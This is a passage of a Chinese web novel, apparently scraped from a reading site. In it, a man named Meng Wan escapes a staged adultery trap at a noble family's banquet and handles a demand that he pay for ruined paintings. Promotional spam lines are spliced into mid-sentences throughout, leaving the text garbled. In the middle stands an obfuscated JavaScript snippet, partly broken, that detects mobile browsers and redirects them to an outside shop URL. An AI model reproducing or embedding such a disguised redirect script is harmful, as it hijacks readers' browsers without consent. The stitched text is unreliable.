孟晚回忆了一下,“好像是一个叫娄阿鼠的赌徒在赌场输了精光,为偷走别人的十五贯钱,将人杀了,嫁祸给其女儿吧。” 孙夫人眼皮子一抖,从牙缝里挤出一句,“孟夫郎点的好啊。” 旁人碍于面子点的都是喜庆的戏,姓孟的可好,上来就戳她心窝子。 时间逼近晌午的时候,伯爵府家刚满月的小少爷被抱了出来,请剃头匠为小婴儿剃去胎发,只留头顶的一撮,这叫百岁**。 剃好的胎发用红布包好,或系在银锁上,寓意剃去灾厄,留住福气。 伯爵府大办了满月宴,抓周宴可能就只是自家办办。 仪式结束后,桌上的点心被一一撤下,换成可口的冷盘,接着是一道道精馐的热菜。 海参、鲍鱼、干贝之类不说,荣家的厨子做的鲫鱼汤着实不错。 罗霁宁嫌弃的看着孟晚拿着他的破手串偷偷摸摸试菜,“你那串还能戴吗?都是油花子。” 孟晚舀了一口汤喝,“你不懂,我家里还有二三十串。”他也不是每次都需要试菜的。 罗霁宁面部扭曲,没看错的话孟晚戴的是凉山赤玉手串吧?这种成色,一串怎么也要二百两,他搞二三十串专门试菜用? 第36章 败絮其中 席面吃完又要移步到院里看戏,孟晚还看到了蔻汶的夫人,两人因为不熟,只是点头示意。 戏台上的伶人拿起腔调,咿咿呀呀的开始唱戏,台下孟晚和罗霁宁身边的长条桌子上摆满了零嘴和茶水。 罗霁宁自打穿梭至此间,一直以来锦衣玉食,虽然他亲姐算计他,姐夫也是个畜生,但王府的伙食比起伯爵府不是一个档次的。 他也算是山珍海味都吃了个遍,刚才在席面上竟顾着看孟晚的奇葩行径了,没吃多少东西,这会儿饿了便剥起花生来。 “夫人,家里出了点事……孟晚身后传来谁家侍女的声音,他微微侧过头去,发现正后方坐的正是齐夫人的侄女齐舜英。 齐淑英在他扭头的一瞬间眉间轻蹙,站起来带着侍女走远,可能是去其他地方说话了。 “孟夫郎,罗夫郎,奴婢给你们添茶。齐家的丫鬟过来勤快为两人端茶倒水。 罗霁宁吃花生吃的口干,端起来刚想喝上一口,到嘴边想起某些不好的经历,又忍着口渴将茶杯给放下了。 他刚来的时候还把自己带入旧时代龙傲天来着,仗着脑子里有现代知识,装逼装到甚至都唬住了廉王这边的人。 但后来一大堆的礼教压得他喘不过气来,他“亲姐 原来他不是龙傲天,只是一个无法掌握自己命运的倒霉蛋。 后来他也学聪明了,故意在廉王身边露脸,威胁他姐本就不稳的王妃地位。 她姐果然不再坑他,甚至在廉王要纳他之前就把他嫁了出去。 他们弦歌罗氏和廉王紧紧绑在一起,他又知道王府的一点秘密,嫁人也只能嫁聂家人。 聂家的那群酒囊饭袋都娶了妻,只有聂川的义子还没有正妻,罗霁宁便顺理成章的嫁了进去。 罗霁宁盯着茶盏发了会儿呆,茶水在杯盏中晃荡,荡起一圈又一圈。 孟晚平静的看了他两眼,眼底半点情绪也没泄露,连碰一下杯盏的意思也没有,也没有用手中楚辞加过料的串珠试毒。 不远处一直暗自观察的孙夫人也没料到他这般谨慎,表情又是一阵扭曲,眼睛瞪出了几条红血丝来,她缓了缓,低声吩咐了身边的侍女几句,期间目光一直没从孟晚身上移开过。 你身边有不少朋友还没看到本章呢,快去给他们剧透吧 像是发现了一块鲜肉的鬣狗,不把这块肉吃到嘴里不会罢休。 罗霁宁没发现这一切,他回过神来冷哼一声,对孟晚说道:“你倒是谨慎,又试菜,又不喝茶的。” 孟晚也渴,但他不喝承恩伯爵府准备的。 他们在院里坐着看戏,身边的下人在墙角站了一溜,孟晚对着枝繁招了招手,等人猫着腰走过来后,吩咐道:“你和枝茂拿着咱们家的茶包,去厨房砌壶茶水回来。” 枝繁枝茂走后,蚩羽和黄叶一错不错的站在墙角守护孟晚。 罗霁宁身边也带了两个小侍,他想学孟晚那样,但奈何准备的不全面,没带茶叶,干脆忍着口渴。 枝繁和枝茂带着个小茶包和一个精巧的银色小壶寻到厨房里去,宴席结束后厨房里一片狼藉,到处都是残羹剩菜和忙碌不停的仆人。 枝繁叫住了一个添柴烧灶的老妈子,“妈妈,劳烦给我们添壶热水。” 那老妈子一脸不耐烦的表情被枝茂塞钱的动作制止住了,她被柴火木炭熏黑的手捏着其中的七八枚铜板,表情淡淡,“壶放我这儿吧,一会儿就给你们添。” 枝繁和枝茂对视了一眼,“这是嫌少了?” 枝茂又塞给老妈子一把铜板,约莫能有二三十个,可对方还是那个德行,重复着让他们把水壶放下的话。 “你怎么那么贪!”枝茂气得跳脚。 烧火的老妈子闻言脸色一酸,“瞧你那穷酸样,这点钱你妈妈我吃茶都不够,还想指使人,我呸!” 枝繁枝茂气得不行,但孟晚吩咐手下做事要的是结果,他们若是连一壶水也讨不到,留在夫郎身边还有什么用处。 枝繁性子倒是比他强点,压着怒气又再添了一角碎银,央了老妈子几句,这才得了一壶热水。谁承想刚出厨房门就被个莽莽撞撞的小厮给撞翻了,银质的茶壶本来就软,这下子直接摔的变了形。 枝茂再也忍不住,叉着腰怒骂,“你没长眼睛啊!” 周遭都是承恩伯爵府的下人,他这么一喊立马遭了殃,一群人面色不善的将两人围住。 角落里清静的齐舜英正在听侍女说话。 “夫人,云侍君和王姨娘闹起来了,云侍君见了红,王姨娘叫人堵在他院子门口,不叫郎中进去。” 齐舜英一个头两个大,“我这边起码得和姑 听说和异性朋友讨论本书情节的,很容易发展成恋人哦 母说过才能回去你先回去看看谁敢拦门就给我打!” 她是武将出身受父亲和哥哥宠爱从小习武身边的丫鬟也是练家子。 家里一个侍君一个小妾没一个省心的玩意。侍君是夫君的心头肉没什么背景柔弱、能哭、能告状。小妾是夫君为了笼络人抬回来的嚣张跋扈的紧除了被自己打怕过两次不敢放肆但凡她出门定要在家作妖。 若是平时她也懒得管但是云侍君有孕在身他早年已经流过两个了这次再出事人怕是都要疯了。 家里一团乱麻让人心烦。 齐舜英刚交代完贴身侍女就看到厨房里枝繁枝茂的这一出。 她见到是姑母家的下人有意为难脚步踌躇一瞬。按她的性格是见不得这种事的但被欺负的是和夫君有过节的宋家人她便有些不想理了。 齐舜英转过身子。 “你们要干嘛?” “我们是顺天府尹家的下人你们敢对我们怎么样我家大人不会放过你们的!” “放开……唔……唔唔唔!” 齐舜英良心上还是过不去她凑上前去叫住把人捆走的几个小厮“你们这是做什么?干什么绑着旁人家小侍。” 枝繁枝茂到底年纪还小这会儿被吓得魂儿都要飞了小脸煞白眼泪唰唰往下流叫人看着怪不忍心的。 小厮中还真有人认得齐舜英“表小姐这是咱们府里的事 “什么叫你们府里的事难道是我姑母叫你们为难两个客人家的小侍?”齐舜英还以为荣家的奴仆在拿话诓骗她。 见这位表小姐不开窍几个小厮面面相觑其中一个拿出一卷皱巴巴的画轴来“表小姐不是奴才故意为难而是这两个小侍拿热水烫了家里的名画价值千金小的们要带他们去前头领罪。” 枝繁枝茂眼神绝望刚才他们被人撞翻哪里又突然出来的画?眼见着就是这群人在冤枉他们! 齐舜英有些犹豫“便是他们弄坏了画找孟夫郎过来分说分说也就罢了将人绑过去岂不是伤了两家颜面?” 小厮油嘴滑舌的糊弄人“表小姐不知这俩小侍嘴巴厉害的紧人也滑不溜手我们这才将人捆了。实在是这画太名贵了若是他们 如果喜欢本书请记得和好友讨论本书精彩情节,才有更多收获哦 俩跑了我们几个难逃责罚棒棍打都是轻的这才不得不小心行事。” 齐舜英被唬住她顿住步子“那你们快去吧我见孟夫郎应当不差钱让姑母好好同人说说别伤了两家的和气。” 宋亭舟的位置特殊京中权贵也不敢轻易得罪。这是齐舜英夫君和她说的他鲜少同自己讲朝中的事但这位宋大人却提过数次。 有时说他帮过自己而自己视对方为知己好友。有时又说宋亭舟只和有利用价值的人交好背信弃义还搅乱了他的昏礼。 夫君长得白净斯文一脸忧伤的追忆自己好友背信弃义的时候格外有说服力齐舜英对宋家的印象便一直不好。 可说是有恩怨好像也不至于。 齐舜英回到座位上的时候特意找寻了一下并没看见荣家的下人找过来。 她神情犹豫终是忍不住提醒了一句“刚才我见你家小侍在厨房和人起了冲突。” 孟晚正心不在焉地看着戏冷不丁被她一提醒立即站了起来先客客气气地道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16555216|178259||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了声谢然后直接招呼黄叶和蚩羽往主桌走去。 “齐夫人。”孟晚声音略高的唤了一声。 齐夫人起身挂了个笑脸“孟夫郎有何见教?” 孟晚也回了个笑表情轻松“我手下两个小侍刚才出去打水不知怎地现在还没回来不知夫人方不方便派人过去找找。” “孟夫郎客气了你稍安勿躁我这就派人去寻。”齐夫人答应的痛快实际只派出去两人看着就敷衍。 孟晚见状眼底的笑意渐冷拂了拂袖子自己带着蚩羽黄叶出去寻找。 孙夫人见人离开心里松了一口气。也从座位上起身不知去往何处。 齐夫人余光瞥见也当没看见仍稳坐如山。 今天准备的这一出宴席仅是一桌的席面便要十几两银子 请来的戏班子已经照往常降了一个档次了不过中流名角也花了三十两白银请到家中。 再加上府中装扮给小辈的赏银等等林林总总办上这么一场就差点上千两了。 若是鼎盛时期的承恩伯爵府倒是不算什么奈何家里有个好赌成瘾的大伯哥家中账目早就千疮百孔平时勉强维持维持就算了但凡家里办个事就要靠典 如果喜欢本书请记得和好友讨论本书精彩情节,才有更多收获哦 当东西来筹办。 齐夫人今日接受着众人道贺的时候,心里都在算计着收上来的礼金能不能填上今天的窟窿。 家里的吃穿用度都在缩减了,她穿的这身还是前几年做得衣裳,但偌大一个伯爵府,靠这点省俭也是不够的。 除非真的有一大笔钱能堵上大伯哥掏出来的窟窿。 齐夫人听着伶人或尖细、或铿锵有力的戏腔,心道还是自己以前请的一流名角唱的好听。 伯爵府的规模很大,承恩伯爵府是老牌世家,后来一定还扩建过。路上弯弯绕绕,这个门进去又是另一个院儿,他们很难找到人。 蚩羽便在路上随意找了个侍女带路,行至一处小院,院里忙碌的仆人稀少起来,这里应该距离荣老夫人的院子很近,他们没走太久,当下还能听到伶人的戏腔。 “这里不是厨房吧?”蚩羽察觉到不对劲。 带路的侍女一句话也不说,闷头往前走,在下一个转角腿猛地抬高,预备跑出去甩开他们,但下一瞬,却被蚩羽一把揪住后领。 “夫郎,她要跑。” 孟晚神色淡然,“先捆起来。” 在他说话的同时,十来个身强体壮的护院不知从哪儿钻了出来,二话没说就把孟晚他们团团围住。 房间角落的耳房里一个长相斯文的男人正来回踱步,眼中是期待、焦急、还有压不住的淫欲。 不是说是个守不住活寡的美人吗?怎么还没来,舅母不会是诓他的吧? 下一秒房门被人从外面敲响,一道清悦动听的声音从外面响起,“开门。” 斯文男**喜,忙不迭的上前打开房门,还没来得及装模作样的说上两句温柔小意的话来哄人,就被一记窝心脚踹飞了出去。 屋里就那么大,里头的家具都被搬走,只剩一张宽大的床。男人后背撞在了床柱上发出“砰”的一声闷响,惨叫声随之而来。 他眼前发黑,五脏六腑无一处不疼,缓了小会才看清面前站了三个小哥儿,最夺目目光的便是中间那个。一身锦衣,褙子下的腰身劲瘦纤细,姿态风流,那张冷艳的脸逆着门口传过来的日光美到失真。 男人也是色中老手了,却从没见过这样的绝色,他下意识想搭讪,但张嘴就是一大口的鲜血。 “你们……为何……打我?”他嘴巴往外冒血,看着还怪可怜的。 孟晚眼睛微眯,“谁打你了?不是你自己撞了柱子吗?快把嘴边上的血擦擦。” 男人一边漾着血,一边盯着孟晚双眼发直。 蚩羽狞笑着将拳头捏的“咔咔”作响,“没看够是吧?” 男人瞳孔瞬间放大,他咽下口中的半口血,拿怀里的帕子擦了擦嘴角,忙不迭的答道:“看够了,看够了。” 第37章 赔偿 一盏茶的功夫后孙夫人带着贴身妈妈脚步匆匆的进了这座隐秘的小院。 妈妈迈着细碎的步子跟在孙夫人身后“夫人您慢些不急着去抓奸也抓要紧的时候去的早了反而不好。” 孙夫人心急火燎语气急促“药又没喝身边还跟着个五大三粗的哥儿我怎么能放心啊!让你派人过来堵着门都守好了没有?” 妈妈拍着胸脯保证“老奴办事您还不放心吗?别说是门就连这院里的狗洞外都守着人定叫那宋家的夫郎插翅难飞。” 孙夫人望着这个一眼便能看得到头的小院夹着的肩膀松垮下来“那就好光是咱们家的人不行还得添上一个外人见证。”最好跟荣家有点姻亲关系心是向着他们这头的。 孙夫人灵光一闪“一会儿老二媳妇就带人过来了你去把她侄女舜英也叫过来。她夫君同宋亭舟有过节又算咱们自己人是个在合适不过的人选了。” 怕舜英把事儿嚷嚷出去事成之后孟晚定是不敢声张不然死都死的不干净。 宋亭舟位高权重想要什么人没有难道会为了个不守妇道的夫郎得罪伯爵府? 她那个外甥又惯会哄骗女娘小哥儿的拿捏个有把柄的夫郎还不是手到擒来? 她身边的妈妈有些犹豫“老奴若是走了岂不是剩夫人自己与宋家的夫郎周旋?” 孙夫人头次干这么惊险的事想到等拿捏了孟晚不光能威胁他吹枕边风让宋亭舟对她家的事轻拿轻放。没准还能让外甥从他手里骗出来些家当来当下语气都轻飘飘的“你这蠢材难不成忘了咱们事先安排好的护院?那么些个壮力难道不比你这么个老货得用?” 妈妈恍然大悟似的一拍脑袋“您瞧我这脑子还是夫人想的周到那老奴这就去了。” “去吧。” —— 齐夫人迈着不快不慢的步子其实到这会儿了她反而有些觉得不妥思绪反复拉扯。 她倒不是后悔放任大嫂对孟晚下手而是怕孟晚万一贞烈拿捏不成反倒出了人命就不好了。 “姑母出什么事了?”齐舜英从后面叫她。 齐夫人眉间的褶皱加深 齐舜英被她问的发愣“不是你派郝妈妈过来叫我的吗?” 如果喜欢本书请记得和好友讨论本书精彩情节,才有更多收获哦 “郝妈妈?”齐夫人眼睛在身后几个忠仆中搜寻,果然见到藏在最后面躲躲闪闪的老妈子。 齐夫人气笑了,“我的好大嫂真是好算计啊,席上大房的亲眷那么多,非要拉上她侄女。” “舜英,你……” “二夫人,再去叫别家夫人可就来不及了。”好妈妈忙阻止她。 机会难得,岂有半途而废的道理? 而且这件事是大房的主意,她只是带着侄女好心过来寻人的罢了!思及此处,齐夫人内心冷笑,“那你就在前面带路吧。” 这个院子太小了,院子里有没有人一看便知。 郝妈妈想着那批护院干活还算利索,这会儿院里不管是孟晚这边的人还是荣家的护院,半个人影都没有,想必是将闲杂人等都清理干净了。 只是大夫人跑哪儿去了?莫不是在旁边的屋子里头听着动静? 一行人走到角落偏房门前,齐夫人深吸了一口气,沉声吩咐身边的小厮,“踹开门。” 小厮体型粗壮,他摩拳擦掌,准备发大力踹门,结果一脚蹬出去竟没感受到多大阻力,门轻轻一碰便开了,他整个人也因为收不住力道跌了进去,重重摔在地上。 “什么人?怎么回事?”里面的人被这么大的动静吵醒,传去一个男人带着浓厚鼻音的声音,既像刚睡醒,也像正在办事被打扰。 齐夫人心中一定,拽着还在状况外的侄女就往屋里闯。 “孟夫郎,你真是糊涂啊,宋大人对你情深义重,你怎能……怎么是你!” 齐夫人剩下的话,在见到床上衣衫不整的大嫂,和荣家嫁出去的一个庶女儿子,时硬生生地拐了个调。 莫名其妙被叫来的齐舜英往前瞄了一眼也是嘴巴大张。 孙夫人露出半截身子在被子外,“睡的”十分香甜,荣家庶女的儿子敞着衣裳躺在她旁边,一脸的大惊失色,“二舅母……这……我不知道啊!” 齐夫人气得浑身发抖,恨声呵斥道:“孽障,还不从床上滚下来!”又飞快吩咐慌了神的郝妈妈,“还不把大夫人扶起来,整理整理衣裳。” “我怎么听见刚才有人叫我啊?” 孟晚不知道从哪儿钻了出来,带着蚩羽和黄叶便径直闯进屋子,一群小厮丫鬟被推得东倒西歪,根本挡不住功夫高强的蚩羽。 恭喜你可以去书友们那里给他们剧透了,他们一定会“羡慕嫉妒恨”的 孟晚见到里面的情景大吃一惊,“哎呀,孙夫人你这是做什么?大老爷刚吃了官司,你就找到下家了?” 场面一片寂静,所有人的表情都凝固住,除了还没来得及下床的男人,捂住后脑勺的大包敢怒不敢言。 齐夫人心里已经隐隐猜到她的蠢大嫂是被孟晚给摆了一道,这才昏迷不醒的倒在床上,但这会儿已经没有别的办法,除非把孟晚灭了口。 可以坏了孟晚的污名,在盛京失了贞洁的小哥儿女娘就是弃子,不是死就是失踪。当年轰动一时的大理寺卿之女被贼人**的案子谁人不知,那女娘悄无声息的就没了音讯,不知道是自己吊**,还是被送去了尼姑庵。 但却绝不可能让孟晚死在伯爵府,不然就是和宋亭舟结仇。 顺天府尹这个位置不是谁都能坐的,也不是谁都能坐得住的。 宋亭舟回京不过半年,冷硬的作风就已经先出了名,孟晚要是在伯爵府出了事,宋亭舟非把伯爵府扒下一层皮来不可。 齐夫人硬生生挤出一个笑来,“孟夫郎真是风趣,大嫂可能是困了过来休息会儿,我家外甥是过来叫她去前院的。” 她眼似利刃般剜向床上的男子,“李惇,还不叫你大舅母起来。” 李惇会意,忙不迭的从床上爬下来,慌慌张张的系好自己衣裳,眼睛垂着不敢往床上看,声音和蚊子似的喊孙夫人。 他再是荒淫好色,道德伦常还是有的,和自家舅母躺在一张床上,还衣衫不整,传出去伯爵府和他家的名声都完了,他爹定会打断他的腿。 孟晚不肯顺着齐夫人的话将此事轻轻揭过,“到底是承恩伯爵府的规矩大,前院的爷们竟然跑到后宅床上叫舅母起床。我在小地方待久了,还真是头一次听说,改明儿应当多同其他夫人夫郎讨教一二,伯爵府这般行事,又是个什么说法。” 齐夫人脸色变了又变,尚且还想不出什么对策,她侄女齐舜英便替姑姑出头,“孟夫郎,今天的事想也知道是个误会,孙夫人到现在还没醒,保不齐是被人给陷害了,你何必说话这么难听?” 她做人非黑即白,在夫君不喜欢的宋家人和自己姑母家,当然会选择后者。 孟晚并不在意她对自己那点似有若无的敌意,反而笑得意味深长,“你说的确实有道理,孙夫人会是谁陷害的呢?咱们内宅之人到底见识浅薄,不如叫官府的人 听说看这本书的人都是很幸运的,分享后你的运气会更棒 过来看看吧!” “舜英!”齐夫人脸色愈发难看知道此事不能善了她叫侄女退下低眉顺眼的问孟晚“孟夫郎这是我荣家的家事 孟晚一脸无辜“齐夫人何出此言啊?我只是上门做客身边的小侍在贵府上不见了心急之下这才闯进了这个院子见识了一番承恩伯爵府舅~甥~情?” **诛心孟晚轻飘飘的一句话使场面死寂一片。下人们憋着气不敢用力呼吸生怕今天之后就见不得明天的太阳。 齐舜英也察觉到了异样事情好像不似她想的那样简单那姑母为何还将她叫来? 齐舜英抿着唇看姑母在孟晚面前矮上一头的样子只觉得心中微寒。 齐夫人知道孟晚已经看破了今天的局这是要逼自己给出个交代来“今日之后我会把孙氏送到庄子上 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孟晚回去模样不急不缓的继续坐下看戏。 “你怎么出去这么长时间?跑去做什么了?”罗霁宁好奇的问。 孟晚目不斜视地盯着戏台“身边的小侍调皮走丢了我出去找找。” 罗霁宁秀气的眉峰上挑“那你走丢的小侍呢?说 听说看这本书的人都是很幸运的,分享后你的运气会更棒 给你沏茶的那两个不是还没回来?”而且荣家两位夫人也先后走了,到现在都没回来。 孟晚语气淡然,“一会儿荣家的人就把他们送过来了。 过了一会儿,枝繁枝茂果然红着眼睛跑了回来,十几岁的小孩,被人绑了一回想必吓坏了,蹲在孟晚身边将事情原委说了清楚。 正好一出戏结束,伶人们到幕后换衣休息,身边坐着的夫人夫郎们都将目光从戏台上挪到孟晚这头,看戏哪儿有看热闹精彩啊。 荣老夫人隔着两张桌子,和善的问道:“家里确实收藏了几幅妙笔丹青,可能是丫鬟拿出来晒晾的时候不小心撞到了孟夫郎的小侍,也就是千百两银子罢了,不打紧的。” 孟晚本来敷衍的神色突然正经起来,“竟是价值千金的名画吗?即是被我家小侍弄坏了,岂有就此作罢的道理,还请老夫人将画拿出来让晚辈鉴赏一番,若真到了不可修补的境地,该赔的,晚辈定然不会推诿。” 寇夫人在一旁听着都为孟晚揪心,价值百千的名画啊,出来吃个席还要赔那么多的银子。伯爵府财大气粗不介意就揭过去算了,怎么那么傻还上赶子赔偿呢? 要搁在她家,她家老爷早就把闯祸的小侍抵出去给人处置了,要钱没有要人有。 见孟晚真有给钱的意思,荣老夫人面上一喜,两个儿媳妇都没回来,她还以为…… “罢了,早就听闻孟夫郎画了一手好画,若是能将此画修补好也是一桩美事。去把那两副被宋家小侍弄脏的画取来。”荣老夫人装模作样的说道,从她口中,一幅画又变成了两幅画,她这是看准了孟晚不会反驳,在明晃晃的敲诈他。 枝繁枝茂都傻眼了,枝繁眼泪又开始往下流,声音哽咽又委屈,“夫郎,我们没有……” 孟晚拍拍他俩后背,“好了,我知道,去那边找蚩羽去,不用担心。” 两人一步三回头的去找角落站着的蚩羽,得到了其他仆人羡慕的目光,和几句小声的窃窃私语。 “他俩闯了这么大的祸,孟夫郎都没责怪他们?脾气也太好了吧?” “要是我家夫人,肯定半条命都没了。” “谁能说得准呢?没准是在伯爵府不好发作,等回了宋家,大门一关,也不知道有没有的命出来。” “说的也是,也怪他们做事不仔细,孟夫郎还不知道要赔付多少银两,生气也是难免的。” 这群人羡慕的眼神渐渐变得怜悯起来,他们这些做奴才的,生死都在主家一念之间,没有犯错的资本。 第38章 真假? “你就这么认了?罗霁宁不大相信孟晚这么好说话,对方现在在他眼里就是一个老阴比。 孟晚坦然地说:“认,怎么不认呢?不就是两幅画吗? 罗霁宁,“…… 行吧,有钱人。 罗家也有钱,但是跟他没啥关系。 聂鸿飞的钱今天抬个小妾,明天纳个侍君,后天又去花楼为哪个花魁一掷千金,比他还败家,狗屁的积蓄都没有。 说实在的,罗霁宁都有点想跟孟晚混了,罐头厂就算了,驿站听着就大有作为。 他在聂家和罗家的双重监视下,想干点什么都畏手畏脚,要是有孟晚的夫君护着,他岂不是能一飞冲天? 但是宋亭舟和太子的关系暧昧,叫廉王发现他和宋家走得近,自己绝对没有好果子吃! 愁…… 他要是皇子就好了,也认聂川当干爹…… 呵呵呵,到时候老子自己当皇帝,干翻他们,还用受现在这种鸟气! 孟晚无语的看着身边坐着的人,罗霁宁穿着一身白色锦袍,外头没有穿褙子,衣摆上绣着大片富丽堂皇的八宝纹,他不动声色的时候,那张俊秀的脸庞着实能唬人。雍容自若,君子如玉,完全符合世家公子的派头。 罗霁宁正经起来还是挺能端着的,只是一到孟晚面前,他就卸下一半的防备,想方设法的想引起孟晚关注,这点恐怕连他自己都没意识到。 “你到底在想什么?口水都快流出来了。孟晚一副不忍直视的样子。 “啊?罗霁宁下意识用指尖揩了揩嘴角,是干燥的,“你又骗人! 他碎碎叨叨,“张无忌他妈说的不错,长得越好看越会骗人,不分男女! 孟晚:“……过于神经了哥们。 荣家的下人捧过来两幅被热水浸泡过的画卷,纵然画卷被装裱过,但开水滚烫,再神乎其技的装裱也挡不住这样浸泡,眼见着这两幅画是被彻底毁了。 有位书香世家的夫人眼尖,看到了其中一幅画上的落款,“这是王千樾大师的《皇极楼阁别亲图》? 另一位见识非凡的夫郎闻言也主动上前了,“不错,确实是王大师的画作,他的名号章印刻着的是无纠道人,因他四十八岁时曾看破红尘,放下家中娇妻美侍,执意出家学道,这幅画是他将 你身边有不少朋友还没看到本章呢,快去给他们剧透吧 家人都请到皇极楼用膳做最后的道别也是他的封笔之作!” 一代画坛大家的封笔之作何止千两白银便是千两黄金只怕也使得。 两人都连连叹息太可惜了这幅画被人寻了许久大家都猜到应该是被某位权贵珍藏在手没想到真的在承恩伯爵府中遗憾的是这幅画已经被毁了。 眼见真的是名家之画又有许多懂行的凑了上来“啊!这幅是的画?” “怪师的画?真的吗?他的画不是号称只赠知己吗?” 相比于出家之前还有许多作品广为流传的王千樾怪师戴仲就显得更加神秘莫测了。他极少流露出来的作品争议颇大甚至其中一幅作风诡异受不少文人墨客诟病。 但不可否认的是他画技娴熟对于欣赏他画作的人来说他的作品乃是稀世珍品可代代流传。 两幅画哪幅都不是凡品。 千两黄金万两银还真的说少了。 众人目光不自觉落在孟晚那张秾丽的脸上微风轻抚他的侧脸吹掉了几缕鬓边的绒发仿佛连风都分外爱惜美人。 孟晚对他人的目光好像浑然不觉神色依旧淡定。 这个荣老夫人倒是不傻 “老夫人今天是府上的大喜日子闹得太大怕是不好吧?”齐舜英站出来为孟晚说了一句。 她也是看在亲戚的面上提醒一下现在闹得越大一会儿齐夫人回来就越不好收场毕竟她们荣家刚被孟晚给抓了个天大的把柄这会儿只怕荣老夫人还不知道。 寇夫人做为两家的邻居也不好一直回避跟着劝了两句“就是说都是邻里邻居孟夫郎也不是有意为之不如把两个奴才留下给你们荣家出出气赔偿只说好商量对吧孟夫郎?”寇夫人拍了拍孟晚胳膊对他挤眉弄眼的暗示。 造孽呦她虽然是个乡野出身的不懂这两幅画的价值但光看凑到前面那几个夫人夫郎也知道是勋贵人家才能买得起的贵重东西。 宋大人的月俸还没他家老爷的多怕不是要卖房卖田的还? 孟晚上次上门拜访觉得寇夫人对他不大热情没想到这次竟然站出来为他说话颇感意外。 “两位说的有理画是死的人是活的孟夫郎不必觉得亏欠。”荣老夫人说 听说和异性朋友讨论本书情节的,很容易发展成恋人哦 完后面带感慨,又重重叹了口气,“只是可惜了这两幅名画,眼见着是修补不成了。 她人已苍老,满头白发,配上这悲凉的语气,让人听了都心酸。 有人看不过去找出来说:“孟夫郎,我等是外人,本不该插嘴说话,但荣家这两幅画实在过于珍贵,你若是当无事发生,却也有些不通情理了。 “损人器物,理当赔偿。 “就是,如此贵重,怎可就此揭过? 孟晚背挺如松,似笑非笑的看着荣老夫人,“诸位,我好像从未说过不赔偿荣家吧?只是身上没带太多银两,让我家小厮回家取上一遭如何?他说着便将黄叶和枝繁拍了回去,动作利落,没有半点敷衍和迟疑,像是真的打算赔钱。 荣老夫人心中暗喜面上却分毫不露,反而嗔了孟晚一句,“你这孩子,怎地如此见外。 孟晚诚恳的说:“伯爵府是京中显贵,理当郑重对待。还请老夫人莫要着急,银钱定然分文不少。 荣老夫人笑容依旧和善,她们这个年纪,虚伪的假笑就像焊在脸上一样,轻易不会色变。 宋家和荣家只隔着一条街道,黄叶很快带着东西回来,两桶画轴,一个荷包,仅此而已。 荣老夫人的脸上的笑意淡了下来,“孟夫郎这是何意? 银票都是小额,大头还是银两,这两幅画哪怕孟晚估成八千两,起码也要抬来两个大木箱吧?岂是一只小小的荷包能装得下的? 她知道孟晚是项芸之徒,也会画画,难不成要用自己的画抵了她家的? 孟晚仿佛没发现她神色略有变化,接过黄叶手中的荷包,将其打开倒在展画的桌子上。 整整齐齐的二十个小银锞子,约莫一两一个,二十个也不过才二十两而已。与荣老夫人所想用两人抬来的大木箱,差之甚远。 “他这是在做什么呀?回家让小侍就取二十两银子回来,这不是有意赖账吗?罗霁宁身边有人小声嘀咕道。 罗霁宁对这个走向已经不太奇怪了,甚至有种尘埃落定的安宁感,他就说这个姓孟的怎么这么痛快,感情没憋好屁。 又心情诡异的想:原来他不光诓我,对别人也这么坏啊? 有点爽怎么回事? 罗霁宁嘴角扬起一抹诡异的弧度。 孟晚被周围充满 如果喜欢本书请记得和好友讨论本书精彩情节,才有更多收获哦 质疑的声音包围,万分委屈和难以置信,“这当然是晚辈赔偿老夫人的画钱啊?一幅八两,我还看在邻里的面子上特意给老夫人凑了个整。 荣老夫人内心惊疑不定,嘴角的弧度渐渐扯平,语气愁苦,“老身早就说过,让孟夫郎不必太过介怀,孟夫郎确实不想赔偿,只管离席归家即可,也断不能如此欺辱与我荣家。 孟晚大惊,连忙告罪,“老夫人这是怎么说的,可是嫌二十两银子太少?晚辈这就同旁人再借些就是了。 他手往罗霁宁身边一伸,“借我十两银子。 罗霁宁脸颊的肉不自觉抽搐了两下,从袖兜里掏出十两银子放到孟晚掌心,“给。 孟晚把这十两银子和桌子上的二十两放在一起,眉梢微垂,嘴角轻轻扯动,语气十分无奈的说:“荣老夫人,不知这样可不可以。 荣老夫人再也憋不住,站起来颤颤巍巍的指着孟晚,半是故作受辱半是真的愤怒,“孟夫郎,你夫君也只是朝中三品,便是你得了一品诰命,也不该行事如此嚣张跋扈,竟这般折辱于我们伯爵府!< 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若是不想赔偿,刚才的荣老夫人第一次提起的时候就该顺势道歉,闹成现在这样不光显得目光短浅、小家子气, 听说看这本书的人都是很幸运的,分享后你的运气会更棒 还很愚蠢。 换做普通人经历这种阵仗,八成已经慌得说不出话来,但孟晚是在皇宫内都敢和帝王宠妃吵架的人,眼下只是小场面罢了。 罗霁宁把自己的凳子往前搬搬,哪怕已经口渴到不行,还是下意识抓了把瓜子拿在手上嗑,双瞳炯炯。 在场也就他和耿直的齐舜英没露出那种审判的眼神,孟晚还算满意。 “叶哥儿,把画打开。”他声音平稳地吩咐黄叶展画,与情绪愤慨的荣老夫人比,他实在是过于沉稳。 也不是所有人都是蠢人,上来就被其他人影响,许多人都是在抱着看热闹的心态在观望,这会儿见孟晚姿态从容,倒是对荣家画作的真假抱有一丝怀疑。 承恩伯爵府百年基业,真会拿赝品糊弄人吗? 所有人的疑问在黄叶展开画卷后都消失的无影无踪。 画上富丽堂皇的奢华酒楼只是背景,中年文士洒脱超然的姿态才是画中精髓。 他的亲人带着不舍的挽留,让他渴望自由随性的心稍稍染上了涩意,但对“无拘无束、天人合一”的向往才是他心之所向,无时无刻如晨钟一般在他的脏腑中镗鞳。 画中的中年文士,还是在华贵的楼宇当中辞别了家人。 皇极楼阁别亲图! 刚才鉴画的两人眼睛瞪到了极致。 其中那个夫郎是个行家,他显然陷入了王千樾的画心当中,痴迷的看着面前的画,甚至想上手触碰一番。 “咳。”黄叶不耐的咳了一声。 